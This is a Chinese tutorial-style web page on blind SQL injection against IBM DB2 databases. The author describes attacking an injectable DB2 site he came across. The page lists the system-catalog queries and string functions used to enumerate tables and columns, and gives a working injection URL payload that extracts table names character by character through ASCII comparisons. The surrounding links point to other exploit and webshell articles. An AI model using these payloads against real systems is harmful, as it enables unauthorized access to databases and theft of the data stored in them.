手机
当前位置:查字典教程网 >实用技巧 >漏洞研究 >Sql Injection in DB2数据库
Sql Injection in DB2数据库
摘要:使用DB2的人比较少了,今天碰到了一个可供注入的DB2网站,想试试身手。不过在网上很难找到相关的资料,只好自己研究了。参考了IBMDB2的文...

使用DB2的人比较少了,今天碰到了一个可供注入的DB2网站,想试试身手。不过在网上很难找到相关的资料,只好自己研究了。

参考了IBMDB2的文档,总结了这样几条:

1、selectNAMEfromSYSIBM.SYSTABLESwhereCREATOR=USER

可以返回系统中所有用户创建的表(table)名

2、selectNAMEfromSYSIBM.SYSCOLUMNSwhereTBCREATOR=''andTBNAME=''

返回表中的列名

3、selectNAMEfromSYSIBM.SYSTABLESwhereCREATOR=USERFETCHFIRST1ROWSONLY

这是最关键的地方,返回第一条记录,类似于sqlserver中的top1

4、SUBSTR(string,position,length)

返回字符串子串的函数,类似于mid

5、ASCII()这个就不用多说了。

有了这些语句和函数,我们就可以很方便的用ascii拆半法猜出所有的table名,字段名,以及其中的数据了。

例如判断第一个table的名称的第一个字符的ascii码是否大于50:

http://*.com?test.jsp?id=1and(selectASCII(SUBSTR(NAME,1,1))fromSYSIBM.SYSTABLESwhereCREATOR=USERFETCHFIRST1ROWSONLY)>50--

http://blog.waynedeng.com/blogview.asp?logID=543

【Sql Injection in DB2数据库】相关文章:

Internet Explorer6最新漏洞代码

COCOON Counter统计程序后台写马

新型网络攻击威胁大量网站

dvbbs7.1 照样从后台得到webshell

黑客突破防火墙常用的几种技术

rgboard 3.0.12 远程文件包含漏洞

MSHTA漏洞为黑客大开远程控制之门(图)

IIS5 ISAPI Extension Back Door

科汛3.1最新安全漏洞补丁2007年2月26更新

eWebSoft在线编辑器漏洞利用技巧

精品推荐
分类导航